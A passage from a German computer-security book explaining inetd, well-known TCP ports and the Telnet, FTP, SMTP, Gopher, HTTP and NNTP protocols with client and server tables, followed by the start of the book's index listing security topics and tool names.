verlangt der anfragende Rechner? Wenn beispielsweise FTP verlangt wird, startet inetd den
FTP-Server-Prozeß, worauf dieser dann die Anfrage bearbeiten kann. All dies passiert innerhalb von
Sekundenbruchteilen. (Fairerweise muß man sagen, daß der Einsatz von inetd ebenfalls eine Menge
Rechnerressourcen belegen kann, da für jede Verbindungsanfrage ein entsprechender Server-Prozeß
gestartet wird.)
Tip:
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inetd gibt es mittlerweile nicht nur für Unix. Zum Beispiel hat Hummingbird Communications (als Teil
seiner Exceed-5-Produktpalette) eine inetd-Version entwickelt, die auf jeder Microsoft Windows- oder
OS/2-Plattform läuft. Es gibt auch nichtkommerzielle Versionen von inetd, die von Studenten oder
anderen Computer-Begeisterten geschrieben wurden. Eine dieser Versionen ist von TSF Software
erhältlich unter http://www.trumpton.demon.co.uk/ index.html.
Im allgemeinen wird inetd beim Booten gestartet und bleibt resident, bis der Rechner wieder
ausgeschaltet wird oder bis der Root-Benutzer den Prozeß ausdrücklich beendet.
inetd wird auf den meisten Unix-Plattformen von einer Datei namens inetd.conf im Verzeichnis
/etc gesteuert. In der Datei inetd.conf werden die Dienste, die von inetd aufgerufen werden
können, spezifiziert. Die Dienste umfassen z.B. FTP, Telnet, SMTP, TFTP, Finger, Systat, Netstat und
andere.
Die Ports
Viele TCP/IP-Programme können über das Internet gestartet werden. Die meisten dieser Programme sind
Client/Server-orientiert. Nach dem Empfang einer Verbindungsanfrage wird ein Serverprozeß gestartet,
der mit dem anfragenden Client-Rechner kommuniziert.
Um diesen Prozeß zu erleichtern, wird jeder Applikation (beispielsweise FTP oder Telnet) eine spezielle
Nummer zugewiesen, ein sogenannter Port. Die jeweilige Applikation ist an diesen bestimmten Port
angeschlossen. Wird eine Verbindungsanfrage an diesen Port gestellt, wird die entsprechende
Applikation gestartet (inetd ist das Programm, das sie startet).
Auf einem durchschnittlichen Internet-Server gibt es Tausende solcher Ports. Zur Vereinfachung und
Erhöhung der Effektivität wurden Standardrichtlinien für die Zuweisung von Ports entwickelt. Anders
gesagt könnte ein Systemadministrator den jeweiligen Diensten Ports seiner Wahl zuordnen, aber in der
Regel werden die Dienste anerkannten Ports oder sogenannten »well-known«-Ports zugewiesen. Tabelle
4.2 gibt Ihnen einen Überblick über weithin anerkannte Ports und die Applikationen, die ihnen
üblicherweise zugewiesen werden.
Tabelle 4.2: Übliche Ports und die entsprechenden
Dienste oder Applikationen
Dienst oder Applikation Port
File Transfer Protocol (FTP) TCP Port 21
Telnet TCP Port 23
Simple Mail Transfer Protocol (SMTP) TCP Port 25
Gopher TCP Port 70
Finger TCP Port 79
Hypertext Transfer Protocol (HTTP) TCP Port 80
Network News Transfer Protocol (NNTP) TCP Port 119
Ein kurzer Überblick über TCP/IP
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Wegweiser:
Eine umfassende Liste aller Port-Zuweisungen finden Sie unter: ftp://
ftp.isi.edu/in-notes/iana/assignments/port-numbers. Dieses Dokument ist sehr informativ und
ausführlich in seiner Beschreibung üblicherweise zugewiesener Port-Nummern.
Ich stelle Ihnen jede der Applikationen in Tabelle 4.2 im folgenden kurz vor. Alle sind Protokolle oder
Dienste der Anwendungsschicht, d.h. sie sind für den Benutzer sichtbar und der Benutzer kann mit ihnen
an der Konsole interagieren.
Telnet
Telnet wird am besten in RFC 854 beschrieben, der Spezifikation des Telnet-Protokolls:
Zweck des Telnet-Protokolls ist es, eine eher generelle, in beide Richtungen gerichtete, 8-bit
Byte-orientierte Kommunikationsmöglichkeit zur Verfügung zu stellen. Das Hauptziel ist das
Realisieren einer Standard-Methode, um Endgeräte oder Endgerät- basierte Prozesse
miteinander zu verbinden.
Telnet ermöglicht dem Benutzer nicht nur, sich in einen entfernten Host einzuloggen, sondern auch auf
diesem entfernten Host Befehle auszuführen. Zum Beispiel kann sich ein Benutzer in Los Angeles per
Telnet in einen Rechner in New York einwählen und dann auf dem Rechner in New York Programme
starten, als säße er selbst vor Ort an diesem Rechner.
Für diejenigen unter Ihnen, die Telnet nicht kennen: Man kann die Arbeitsweise von Telnet am ehesten
mit dem Interface eines Mailbox-Systems vergleichen. Telnet eignet sich hervorragend als
Terminal-basiertes Front-End für Datenbanken. Zum Beispiel kann auf mehr als 80 Prozent aller
Universitätsbibliothekskataloge über Telnet oder tn3270 (eine 3270-Telnet- Variante) zugegriffen
werden. Abbildung 4.4 zeigt ein Beispiel für einen Telnet-Bibliothekskatalog-Bildschirm.
Abbildung 4.4: Beispiel für eine Telnet-Session
Obwohl GUI-Applikationen die Welt im Sturm erobert haben, ist Telnet - das im wesentlichen eine
textbasierte Applikation ist - nach wie vor aus mehreren Gründen unglaublich beliebt. Erstens stellt
Telnet eine ganze Reihe von Funktionen zur Verfügung (z.B. erlaubt esdas Abrufen von E-Mails) und
belegt aber nur minimale Netzwerkressourcen. Zweitens ist die Implementierung eines sicheren
Telnet-Dienstes eine relativ einfache Aufgabe. Mehrere Programme können dies realisieren, das
beliebteste ist Secure Shell (wird später in diesem Buch beschrieben).
Um Telnet zu benutzen gibt der Benutzer den jeweiligen Befehl ein, der zum Start des Telnet-Clients
notwendig ist, gefolgt vom Namen (oder der numerischen IP-Adresse) des Ziel- Hosts. Unter Unix wird
das folgendermaßen gemacht:
telnet internic.net
Ein kurzer Überblick über TCP/IP
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Der obige Befehl startet eine Telnet-Session, kontaktiert internic.net und bittet um eine
Verbindung. Diese Verbindungsanfrage wird entweder angenommen oder abgelehnt, abhängig von der
Konfigurierung des Ziel-Hosts. Unix wird schon seit über 10 Jahren mit integriertem Telnet-Client
ausgeliefert. Aber nicht alle Betriebssysteme verfügen über einen integrierten Telnet-Client. Tabelle 4.3
listet Telnet-Clients für verschiedene Betriebssysteme auf.
Tabelle 4.3: Telnet-Clients für verschiedene Betriebssysteme
Betriebssystem Client
Unix Integriert
Microsoft Windows 95 Integriert (Befehlszeile), ZOC, NetTerm, Zmud, WinTel32, Yawtelnet
Microsoft Windows NT Integriert (Befehlszeile), CRT und alle oben genannten für Windows 95
Microsoft Windows 3.x Trumptel Telnet, Wintel, Ewan
Macintosh NCSA Telnet, NiftyTelnet, Comet
VMS Integriert (in einigen Versionen)
File-Transfer-Protocol (FTP)
FTP ist die Standardmethode zur Übertragung von Dateien zwischen zwei entfernten Systemen. Der
Zweck von FTP ist in RFC 0765 wie folgt dargestellt:
Die Aufgaben von FTP sind 1) das gemeinnützige Verbreiten von Dateien (Programme
und/oder Daten), 2) die indirekte oder implizite (durch Programme) Benutzung entfernter
Rechner zu fördern, 3) dem Benutzer die Mühseligkeit der strukturellen Unterschiede der
Dateisysteme zwischen verschiedenen Systemen zu ersparen und 4) Daten zuverlässig und
effektiv zu übertragen. Obwohl FTP auch direkt auf einem Terminal benutzt werden kann,
ist es hauptsächlich für die Benutzung über Programme entwikkelt.
Seit über zwei Jahrzehnten haben Forscher eine große Vielfalt an Methoden für die Übertragung von
Dateien untersucht. Während dieser Zeit wurde der FTP-Standard immer wieder ergänzt. Die erste
Definition von FTP entstand im Jahr 1971, die Spezifikationen können Sie in RFC 114 nachlesen.
Wegweiser:
RFC 114 enthält die erste Definition von FTP, aber ein praktischeres Dokument könnte RFC 959 sein:
http://info.internet.isi.edu:80/in-notes/ rfc/files/rfc959.txt.
Mechanismen für das Arbeiten mit FTP
Dateiübertragungen mittels FTP werden über die Nutzung eines FTP-Clients erreicht. Tabelle 4.4 listet
einige übliche FTP-Clients für die verschiedenen Betriebssysteme auf.
Tabelle 4.4: FTP-Clients für verschiedene Betriebssysteme
Betriebssystem Client
Ein kurzer Überblick über TCP/IP
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Unix Integriert, LLNLXDIR2.0, FTPtool, ncftp
Microsoft Windows 95 Integriert, WS_FTP, Netload, Cute-FTP, Leap FTP, SDFTP, FTP Explorer
Microsoft Windows NT Siehe Auflistung für Windows 95
Microsoft Windows 3.x Win_FTP, WS_FTP, CU-FTP, WSArchie
Macintosh Anarchie, Fetch, Freetp
OS/2 Gibbon FTP, FTP-IT, Lynn's Workplace FTP
VMS Integriert (in einigen Versionen)
Wie funktioniert FTP?
Dateiübertragungen per FTP werden in einer Client-/Server-Umgebung ausgeführt. Der anfragende
Rechner startet einen der Clients aus Tabelle 4.4. Dieser generiert eine Anfrage, die an den Ziel-Server
(meistens der Host eines anderen Netzwerks) übertragen wird. In der Regel wird diese Anfrage an Port
21 geschickt. Um eine Verbindung herzustellen, muß auf dem Zielrechner ein FTP-Server
beziehungsweise ein FTP-Daemon laufen.
FTPD
FTPD ist der Standard-FTP-Server-Daemon. Seine Funktion ist einfach: auf Verbindungsanfragen über
inetd zu reagieren und diesen Anfragen zu entsprechen. Dieser Daemon ist standardmäßig in den meisten
Unix-Versionen integriert (für andere Betriebssysteme finden Sie in Tabelle 4.5 entsprechende
FTP-Serverprogramme).
Tabelle 4.5: FTPD-Server-Daemons für verschiedene Betriebssysteme
Betriebssystem Client
Unix Integriert (ftpd), wuftd
Microsoft Windows 95 WFTPD, Microsoft FrontPage, WAR FTP Daemon, Vermilion
Microsoft Windows NT Serv-U, OmniFSPD, Microsoft Internet Information Server
Microsoft Windows 3.x WinQVT, Serv-U, Beames & Whitside BW Connect, WFTPD FTP Server,
WinHTTPD
Macintosh Netpresenz, FTPd
OS/2 Penguin
FTPD wartet auf eine Verbindungsanfrage, nach deren Empfang FTPD die Eingabe eines
Benutzernamens fordert. Der Benutzer muß entweder einen gültigen Benutzernamen und ein Paßwort
eingeben oder kann sich anonym einloggen (wenn der Server anonyme Arbeitssitzungen erlaubt).
Nach dem Einloggen kann der Benutzer Dateien herunterladen. In gewissen Fällen, wenn die
Ein kurzer Überblick über TCP/IP
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Sicherheitsmaßnahmen auf dem Server dies erlauben, können auch Dateien auf den Server hochgeladen
werden.
Simple Mail Transfer Protocol (SMTP)
Die Aufgabe von SMTP ist in RFC 821 präzise beschrieben:
Die Aufgabe des Simple Mail Transfer Protocol (SMTP) ist die zuverlässige und effektive
Übertragung von Mail.
Der Benutzer sendet über ein SMTP-fähiges Clientprogramm eine Anfrage an einen SMTP- Server.
Daraufhin wird eine Verbindung in beide Richtungen etabliert. Der Client schickt eine
MAIL-Anweisung, die zeigt, daß er eine Nachricht an einen Empfänger irgendwo im Internet senden
will. Wenn der SMTP-Server die Durchführung dieser Übertragung erlaubt, wird eine positive
Bestätigung an den Client zurückgeschickt. Zu diesem Zeitpunkt beginnt die Arbeitssitzung. Der Client
kann jetzt die Identität des Empfängers, seine IP-Adresse und die Nachricht (als Text) losschicken.
Trotz des einfachen Charakters von SMTP waren Mail-Dienste die Quelle für zahlreiche
Sicherheitslöcher, was teilweise sicher an der Vielzahl der beteiligten Konfigurationsoptionen liegt.
Fehlkonfigurationen sind ein weitverbreiteter Grund für Sicherheitslöcher. Ich werde später noch auf
Sicherheitsaspekte zurückkommen.
SMTP-Server sind in den meisten Unix-Versionen integriert. Die meisten anderen vernetzten
Betriebssysteme verfügen heutzutage ebenfalls über irgendeine Form von SMTP, deshalb spare ich mir
eine Auflistung.
Wegweiser:
Weitere Informationen über SMTP erhalten Sie in RFC 821:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc821.txt .
Gopher
Der Gopher-Dienst ist ein hierarchisches Informationssystem. Er wurde usprünglich als ein
Campus-weites Informationssystem an der Universität von Minnesota implementiert. In einem FYI (For
Your Interest) der Universität von Minnesota vom März 1993 wird er wie folgt definiert:
Das Internet Gopher Protocol ist hauptsächlich als ein hierarchisches Informationssystem
entwickelt. Während Dokumente (und Dienste) auf vielen Servern liegen, präsentiert die
Gopher-Client-Software dem Benutzer eine Hierarchie von Dokumenten und
Verzeichnissen, ähnlich einem Dateisystem. Tatsächlich wurde das Gopher-Interface so
entwickelt, das es einem Dateisystem ähnelt, da ein Dateisystem für das Ablegen von
Dateien und Diensten hervorragend geeignet ist.
Wegweiser:
Die vollständige Dokumentation des Gopher-Protokolles können Sie in RFC 1436 einsehen.
http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc1436.txt.
Ein kurzer Überblick über TCP/IP
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Der Gopher-Dienst ist sehr mächtig und eignet sich für Textdokumente, Sound und andere Medien. Er
arbeitet größtenteils im Textmodus und ist daher viel schneller als HTTP über einen Browser.
Gopher-Clients sind heute für jedes Betriebssystem verfügbar, von denen einige in Tabelle 4.6 aufgelistet
sind.
Tabelle 4.6: Gopher-Clients für verschiedene
Betriebssysteme
Betriebssystem Client
Unix gopher, xgopher
Microsoft Windows (alle) Hgopher, Ws_Gopher
Macintosh Mac Turbo Gopher
AS/400 The AS/400 Gopher Client
OS/2 Os2Gofer
In der Regel startet der Benutzer einen Gopher-Client und kontaktiert einen vorgegebenen
Gopher-Server. Danach überträgt der Gopher-Server ein Auswahlmenu, das Suchmasken, vorgegebene
Ziele oder Dateiverzeichnisse enthalten kann. Abbildung 4.5 zeigt eine Client- Verbindung zur
University of Illinois.
Abbildung 4.5: Beispiel einer Gopher-Session
Beachten Sie, daß das Gopher-Modell komplett Client/Server-basiert ist. Der Benutzer loggt sich niemals
per se ein, sondern der Client sendet eine Anfrage an den Gopher-Server, in der er um alle verfügbaren
Dokumente (oder Objekte) bittet. Der Gopher-Server antwortet mit dieser Information und tut sonst
nichts weiter, bis der Benutzer ein Objekt anfordert.
Hypertext Transfer Protocol (HTTP)
HTTP ist wohl das bekannteste aller Protokolle, weil es Benutzern das Surfen im Internet ermöglicht.
Wie in RFC 1945 kurz erklärt, ist HTTP
ein einfaches und schnelles Protokoll der Anwendungsschicht für hierarchische,
kollaborative Hypermedia-Informationssysteme. Es ist ein auswählbares, statusloses,
objektorientiertes Protokoll, das für viele Aufgaben wie Name-Server und verteilte
Objekt-Management-Systeme durch die Erweiterung seiner Anfragemethoden (Befehle)
eingesetzt werden kann. Ein Merkmal von HTTP ist die Wahl der Datendarstellung, was
einen Aufbau von Systemen unabhängig von den übertragenen Daten ermöglicht.
Hinweis:
Ein kurzer Überblick über TCP/IP
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RFC 1945 wurde durch RFC 2068 ersetzt, eine aktuellere Spezifikation von HTTP:
http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc2068.txt.
HTTP hat die Natur des Internet für immer geändert, vor allem weil es das Internet für die Massen
zugänglich gemacht hat. In gewisser Hinsicht entspricht seine Arbeitsweise der von Gopher. Zum
Beispiel arbeitet es auch mittels eines Anfrage/Antwort-Schemas. Und das ist ein wichtiger Punkt.
Während Applikationen wie beispielsweise Telnet verlangen, daß der Benutzer eingeloggt bleibt (und
damit Systemressourcen verbraucht), löschen Protokolle wie Gopher und HTTP dieses Phänomen aus.
Der Benutzer (Client) belegt Systemressourcen nur solange wie er Daten anfragt oder empfängt.
Bei Nutzung eines üblichen Browsers wie Netscape Navigator oder Microsoft Internet Explorer können
Sie diesen Prozeß während seines Ablaufs beobachten. Für jedes Datenelement (Text, Grafik, Sound) auf
einer WWW-Seite kontaktiert Ihr Browser den Server einmal, d.h. er holt sich erst Text, dann eine
Grafik, dann Sound, usw. usw. Unten links in Ihrem Browser sehen Sie eine Statusanzeige. Beobachten
Sie diese einige Momente, wenn eine Seite geladen wird. Sie werden dort die
Anfrage/Antwort-Aktivitäten verfolgen können, oft in sehr hoher Geschwindigkeit.
HTTP interessiert es nicht, welche Art von Daten angefordert werden. Verschiedene Formen von
Multimedia können entweder eingebettet sein oder über HTML-basierte Webseiten übermittelt werden.
Kurz, HTTP ist ein extrem einfaches und effektives Protokoll. Clients für dieses Protokoll sind in Tabelle
4.7 aufgelistet.
Tabelle 4.7: HTTP-Clients für verschiedene Betriebssysteme
Betriebssystem HTTP-Client
Microsoft Windows (alle) Netscape Navigator, WinWeb, Mosaic, Microsoft Internet Explorer,
WebSurfer, NetCruiser, AOL, Prodigy
Macintosh Netscape Navigator, MacMosaic, MacWeb, Samba, Microsoft Internet
Explorer
Unix Xmosaic, Netscape Navigator, Grail, Lynx, TkWWW, Arena, Chimera,Kfm
OS/2 Web Explorer, Netscape Navigator
HTTP-Server sind ebenfalls für eine Reihe von Plattformen verfügbar. Diese sind in Tabelle 4.8
aufgelistet.
Tabelle 4.8: HTTP-Server für verschiedene Betriebssysteme
Betriebssystem HTTP-Server
Microsoft Windows 3.x Website, WinHTTPD
Microsoft Windows 95 OmniHTTPD, Server 7, Nutwebcam, Microsoft Personal Web Server, Fnord,
ZB Server, Website, Folkweb, Netscape
Ein kurzer Überblick über TCP/IP
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Microsoft Windows NT HTTPS, Internet Information Server, Alibaba, Espanade, Expresso, Fnord,
Folkweb, Netpublisher, Weber, OmniHTTPD, WebQuest, Website, Wildcat,
Netscape
Macintosh MacHTTP, Webstar, Phantom, Domino, Netpresenz
Unix NCSA, Apache, Netscape
OS/2 GoServe, OS2HTTPD, OS2WWW, IBM Internet Connection Server,
Bearsoft, Squid & Planetwood
Network News Transfer Protocol (NNTP)
NNTP ist eines der meistgenutzten Protokolle. Es ermöglicht den Zugang zu dem Nachrichtendienst, der
allgemein als USENET News bekannt ist. In RFC 977 wird sein Zweck wie folgt definiert:
NNTP spezifiziert ein Protokoll für die Verteilung, die Recherche, die Wiedergewinnung und
die Veröffentlichung von Nachrichtenartikeln durch eine zuverlässige Datenstrom-basierte
Übertragung von Nachrichten innerhalb der ARPA-Internet- Gemeinde. NNTP ist so
aufgebaut, daß Nachrichtenartikel in einer zentralen Datenbank gespeichert werden. Dem
Abonnent wird ermöglicht, nur auf die Artikel zuzugreifen, die er lesen möchte. Indexierung,
Querverweise und das Löschen von veralteten Artikeln sind ebenfalls vorgesehen.
NNTP hat ähnliche Eigenschaften und Merkmale wie SMTP: Es benutzt TCP als Netzwerkprotokoll und
akzeptiert einfache Befehle von einem Prompt. NNTP benutzt üblicherweise den TCP-Port 119.
Wegweiser:
Für tiefergehende Informationen über NNTP empfehle ich Ihnen die Lektüre von RFC 977. Zu finden
unter: http://info.internet.isi.edu:80/innotes/ rfc/files/rfc977.txt.
Frühere Implementierungen des Standards finden Sie in RFC 850 unter:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc850.txt .
4.3 TCP/IP ist das Internet
Inzwischen sollte es offensichtlich sein, daß TCP/IP im Grunde genommen das Internet selbst umfaßt. Es
ist eine komplexe Sammlung von Protokollen, viele davon für den Benutzer unsichtbar. Auf den meisten
Internet-Servern können alle der folgenden Netzwerkprotokolle laufen:
Transmission Control Protocol (TCP)
Internet Protocol (IP)
Internet Control Message Protocol (ICMP)
Address Resolution Protocol (ARP)
In der Anwendungsebene gelten die folgenden Protokolle als Standard:
File Transfer Protocol (FTP)
Ein kurzer Überblick über TCP/IP
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Telnet Protocol (Telnet)
Gopher Protocol
Network News Transfer Protocol (NNTP)
Simple Mail Transfer Protocol (SMTP)
Hypertext Transfer Protocol (HTTP)
Nun machen Sie sich auf einen Schock gefaßt. Dies ist nur eine Handvoll der Protokolle, die im Internet
laufen. Tatsächlich gibt es Hunderte dieser Protokolle. Mehr als die Hälfte der Implementierungen der
wichtigsten Protokolle hatten schon ein oder mehrere Sicherheitslöcher.
Folgender Punkt ist wesentlich: Das Internet wurde als ein System mit vielfachen
Kommunikationswegen entwickelt. Jedes Protokoll stellt einen dieser Wege dar. An sich gibt es also
Hunderte von Wegen, um Daten über das Internet zu bewegen.
4.4 Zusammenfassung
In diesem Kapitel haben Sie TCP/IP kennengelernt. Hier sind einige Merkmale von TCP/IP:
Die TCP/IP-Protokollfamilie enthält alle notwendigen Protokolle, die den Datentransfer über das
Internet erleichtern.
Die TCP/IP-Protokollfamilie ermöglicht schnelle, zuverlässige Netzwerkverbindungen, ohne
große Netzwerkressourcen zu belegen.
TCP/IP wird auf fast allen Computer-Plattformen eingesetzt.
Jetzt, da Sie ein bißchen mehr über TCP/IP wissen, können wir uns wieder einem spannenderen Thema
zuwenden: Hacker und Cracker.
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Ein kurzer Überblick über TCP/IP
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Stichwortverzeichnis
!
.rhosts
Spoofing-Attacken
/etc/hosts.equiv
Spoofing-Attacken
/etc/passwd
Anonymität wahren
10Base2
Glossar
10Base5
Glossar
10BaseT
Glossar
1644
Spoofing-Attacken
802.2
Glossar
802.3 SNAP
Glossar
A
AARP
Glossar
Absturz
Glossar
Access Watchdogs Premium Suite
Interne Sicherheit
ACL
Glossar
Stichwortverzeichnis
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Active Server Pages
Microsoft
ActiveX
Sprachen, Erweiterungen und Sicherheit
Adaptive Pulscode-Modulation
Glossar
Address Resolution Protocol (ARP),
Aufgabe
Ein kurzer Überblick über TCP/IP
Administrator
Wer ist verantwortlich?
Wer ist verantwortlich?
Glossar
Adreßauflösungsprotokoll
Glossar
AIM
Glossar
AIS
Glossar
Aktualität
Destruktive Programme
Algorithmus
Trojanische Pferde
Allen, Paul
Hacker und Cracker
ALT+255
Microsoft
Altavista
Anonymität wahren
altavista.digital.com
Anonymität wahren
America Online
Macintosh
Anonymität wahren
AMI Decode
Stichwortverzeichnis
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Paßwort-Knacker
Ami.com
Microsoft
Amiecod
Microsoft
Analysetools
Analog
Protokollierungs- und Auditing-Tools
LogSurfer
Protokollierungs- und Auditing-Tools
NestWatch
Protokollierungs- und Auditing-Tools
Netlog
Protokollierungs- und Auditing-Tools
NetTracker
Protokollierungs- und Auditing-Tools
VBStats
Protokollierungs- und Auditing-Tools
Angriff
Angriffsebenen
auf Kernforschungseinrichtung
in Indien
Warum ich dieses Buch geschrieben habe
auf Kreditkartendaten
Wer ist überhaupt anfällig für Angriffe durch Cracker?
Ausgangspunkte
Angriffsebenen
datengesteuerter
Glossar
Ebenen
Angriffsebenen
Angriffsebenen
entfernter
Der entfernte Angriff
Sie sind jetzt in Frankreich-
Stichwortverzeichnis
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Warum ich dieses Buch geschrieben habe
Angriffssignaturen
Firewalls
anlpasswd
Unix - die große Herausforderung
Glossar
Anonyme E-Mail
Glossar
Anonymer Remailer
Glossar
Anonymität
Recht auf
Anonymität wahren
Wahrung der
Anonymität wahren
ANSI C
Glossar
Anti-Virenprogramme
Destruktive Programme
Anwendungsschicht-Gateway
Firewalls
Firewalls
AOL
Anonymität wahren
Applet
Glossar
AppleTalk
Glossar
AppleTalk Data Stream Protocol
Glossar
AppleTalk Echo Protocol
Glossar
AppleTalk Remote Access Protocol
Glossar
AppleTalk-Adreßauflösungsprotokoll
Stichwortverzeichnis
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Glossar
Application Gateways
Glossar
appz
Glossar
ARAP
Glossar
Archie
Wer ist verantwortlich?
Archive
Zum Aufbau des Buches
Archivierte Dateien
Zum Aufbau des Buches
Archivierungstools
Zum Aufbau des Buches
herunterladen
Zum Aufbau des Buches
arnudp100.c
Destruktive Programme
ARP (Address Resolution Protocol)
Glossar
ARP-Broadcast (Rundruf)
Ein kurzer Überblick über TCP/IP
ARP-Cache
Ein kurzer Überblick über TCP/IP
Aufgabe
Ein kurzer Überblick über TCP/IP
ARPANET
Die Geburt eines Netzwerks: Das Internet
ARP-Cache
Spoofing-Attacken
ARP-Spoofing
Spoofing-Attacken
ARPWATCH
Spoofing-Attacken
Stichwortverzeichnis
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Ascend Inverse Multiplexing
Glossar
ASCII
Zum Aufbau des Buches
ASDL
Glossar
ASP URL
Microsoft
Assembler
Destruktive Programme
Asynchroner Übertragungsmodus
Glossar
Asynchrones PPP
Glossar
At-Ease
Macintosh
ATM
Glossar
ATM Sniffer Internetwork Analyzer
Sniffer
ATP (Anti-Tampering Program)
Trojanische Pferde
Attribut
Wer ist verantwortlich?
Glossar
Audit
Glossar
AuditTrack
Novell
Audit-Trail
Glossar
AuditWare
Novell
AUP
Glossar
Stichwortverzeichnis
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Ausführbare Dateien
Destruktive Programme
Authentication Server Protocol
Glossar
Authentifizierung
Spoofing-Attacken
Glossar
Automatisiertes Informationssystem
Glossar
Aw.com
Microsoft
B
Backup
Destruktive Programme
Glossar
Ballista
Scanner
Baran, Paul
Hacker und Cracker
Barracuda Devices
Interne Sicherheit
Barracuda Security
Unix - die große Herausforderung
Bastion Host
Glossar
Befehlspuffer
VAX/VMS
Benchmark-Tool
Microsoft
Benutzer
Glossar
Benutzer-ID
Glossar
Benutzerinformationen,
Stichwortverzeichnis
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Speicherung von
Anonymität wahren
Benutzungsrichtlinien
Glossar
Berater
Sicherheitskonzepte
Berechtigungen
Wer ist verantwortlich?
Berechtigungssystem
Wer ist verantwortlich?
Betriebssystem
Angriffsebenen
identifizieren
Der entfernte Angriff
bibliography
Bibliographie zum Thema Sicherheit - weiterführende Literatur
Bibliographie zum Thema Sicherheit - weiterführende Literatur
BindView EMS
Novell
Biometrische Zugriffskontrollen
Glossar
BIOS-Paßwort
Microsoft
BIOS-Paßwortschutz
Microsoft
BlueBEEP
Hacker und Cracker
bonk.c
Destruktive Programme
Book 'em, Dan-O
Anonymität wahren
BootLogger
Macintosh
Boot-Schutz
Microsoft
Stichwortverzeichnis
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Boot-Sektor-Viren
Destruktive Programme
Boxing
Hacker und Cracker
Brain-Virus
Destruktive Programme
Browser, Versionsabfrage
Anonymität wahren
Browser-Sicherheit
Anonymität wahren
Brute-Force-Angriff
Telnet-basierte Angriffe
Brute-Force-Berechnung
Paßwort-Knacker
Brute-Force-Methoden
Paßwort-Knacker
Bug
Glossar
bugfiler
Unix - die große Herausforderung
BUGTRAQ-Archive
Das Sicherheitsloch
Burglar
Novell
C
C
Zum Aufbau des Buches
Geschichte
Die Geburt eines Netzwerks: Das Internet
C++
Zum Aufbau des Buches
Cache ausspionieren
Anonymität wahren
Cache Flushing
Stichwortverzeichnis
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Microsoft
Cache-Speicher,
Paßwort herausziehen
Microsoft
CALLBACK.EXE
VAX/VMS
Cast-128
Glossar
cbcb.c
Destruktive Programme
CCMAIL 8
Microsoft
CD-ROM, Inhalt
Inhalt der CD-ROM
Cerberus Access Control
Inhalt der CD-ROM
CERT
Glossar
certificate authority
Glossar
Cetus StormWindows
Microsoft
Inhalt der CD-ROM
CGI
Sprachen, Erweiterungen und Sicherheit
Glossar
CGI-basierter Angriff
Glossar
CGI-Programmierung
Sprachen, Erweiterungen und Sicherheit
Sprachen, Erweiterungen und Sicherheit
Chaos Computer Club
Sprachen, Erweiterungen und Sicherheit
CHAP
Glossar
Stichwortverzeichnis
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Checklisten
Interne Sicherheit
Checkpass
VAX/VMS
Chesapeake
Scanner
chfn
Anonymität wahren
chroot
Glossar
CIDR
Spoofing-Attacken
Clasp 97
Microsoft
Classless Inter-Domain Routing
Spoofing-Attacken
Claymore
Paßwort-Knacker
Microsoft
Clocken
Anonymität wahren
Clocking-Script
Anonymität wahren
CloseUp
Telnet-basierte Angriffe
CMD/BAT
Microsoft
Common Gateway Interface
Glossar
Compiler
Zum Aufbau des Buches
Hacker und Cracker
Interne Sicherheit
Computer and Network Security Reference Index
Das Sicherheitsloch
Stichwortverzeichnis
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Computer Emergency Response Team (CERT)
Das Sicherheitsloch
Computer Incident Advisory Capability (CIAC)
Das Sicherheitsloch
Computerviren
Destruktive Programme
Trojanische Pferde
Aktualität
Destruktive Programme
Anti-Virenprogramme
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Polymorphe Viren
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Anonymität wahren
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Computersicherheit und das Gesetz
Computersicherheit und das Gesetz
CoSECURE
Interne Sicherheit
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Hacker und Cracker
Hacker und Cracker
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Destruktive Programme
Destruktive Programme
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Destruktive Programme
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Destruktive Programme
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Dictionary-Cracking
Paßwort-Knacker
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DiskLocker
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DNSKiller
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Glossar
DOC
Spoofing-Attacken
DoD
Glossar
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DOMUS ITSS
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DOS
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Glossar
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Angriffsebenen
DOS-Sicherheitstools, Sites
Microsoft
dpsexec
Unix - die große Herausforderung
DREAMWVR.com
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dtterm
Unix - die große Herausforderung
Dual Homed Gateway
Glossar
E
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Glossar
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Electronic Data Interchange (EDI)
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Die Geburt eines Netzwerks: Das Internet
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Destruktive Programme
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Pakete
Destruktive Programme
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Destruktive Programme
Empower
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Encrypt-It
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Entführen
Glossar
Ernst & Young-Studie
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Esniff
Sniffer
Ethereal
Sniffer
Ethernet
Sniffer
Ethernet-Spoofing
Glossar
EtherPeek
Sniffer
Macintosh
ETHLOAD
Sniffer
Eudora Mail Client
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Eugene Spaffords Security Hotline
Das Sicherheitsloch
Evaluated Products List (ELP)
Stichwortverzeichnis
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Wer ist überhaupt anfällig für Angriffe durch Cracker?
Exchange
Microsoft
EXCrack
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Exklusionsschemen
Destruktive Programme
Exploitcode
Destruktive Programme
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Exploits
Unix - die große Herausforderung
expn
Anonymität wahren
F
Farmer, Dan
Hacker und Cracker
Farmer-Studie
zu Sicherheit im Internet
Wer ist überhaupt anfällig für Angriffe durch Cracker?
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Paßwort-Knacker
Federal Information Processing
Standard
Microsoft
Festverbindung
Sicherheitskonzepte
File Transfer Protocol (FTP)
Ein kurzer Überblick über TCP/IP
FileLock
Macintosh
Filesharing
Macintosh
FindVirus
Stichwortverzeichnis
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Destruktive Programme
finger
Unix - die große Herausforderung
Interne Sicherheit
Der entfernte Angriff
Der entfernte Angriff
Anonymität wahren
finger-Anfragen
Anonymität wahren
finger-Dämon
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finger-Problem
Anonymität wahren
finger-Ziel
Anonymität wahren
Firewall
Glossar
andere Aufgaben
Firewalls
Angriffssignaturen
Firewalls
Anwendungsschicht-Gateway
Firewalls
Firewalls
Aufbau
Firewalls
Bestandteile
Firewalls
Cisco-PIX-DES-Schwachstelle
Firewalls
Definition
Firewalls
Firewall-1-Schwachstelle
Firewalls
Informationsquellen
Stichwortverzeichnis
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Firewalls
kommerzielle
Firewalls
Nachteile
Firewalls
Netzwerkschicht-Firewall
Firewalls
Proxy-Applikation
Firewalls
Router
Firewalls
Sicherheitsschwachstellen
Firewalls
SOCKS
Firewalls
TIS Firewall Toolkit
Firewalls
Firewalls
FireWall-1
Inhalt der CD-ROM
Firmware
VAX/VMS
FIRST (Forum of Incident Response and Security Teams)
Das Sicherheitsloch
FirstClass
Macintosh
FirstClass Thrash!
Macintosh
FLAG
Novell
Flooder
Glossar
Flooding-Attacke
Angriffsebenen
FMP Password Viewer Gold 2.0
Stichwortverzeichnis
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Macintosh
FMProPeeker
Macintosh
FoolProof
Macintosh
